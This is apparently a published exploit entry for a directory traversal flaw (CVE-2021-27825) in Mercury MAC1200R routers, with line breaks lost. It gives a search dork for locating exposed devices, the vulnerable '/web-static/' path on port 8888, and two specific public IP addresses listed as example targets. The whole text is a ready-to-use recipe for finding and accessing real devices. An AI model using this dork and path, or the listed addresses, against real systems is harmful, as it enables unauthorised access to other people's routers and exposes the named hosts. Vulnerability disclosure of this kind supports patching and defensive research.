# Exploit Title: MAC 1200R - Directory Traversal# Google Dork: "MAC1200R" && port="8888"# Date: 2023/03/09# Exploit Author: Chunlei Shang, Jiangsu Public Information Co., Ltd.# Vendor Homepage: https://www.mercurycom.com.cn/# Software Link: https://www.mercurycom.com.cn/product-1-1.html# Version: all versions. (REQUIRED)# Tested on: all versions.# CVE : CVE-2021-278251. Attackers can easily find the targets through various search engines with keywords "MAC1200R"&& port="8888".2. Open the affected website like "http://IP:8888/web-static/".3. For example:1)http://60.251.151.2:8888/web-static/2)http://222.215.15.70:8888/web-static/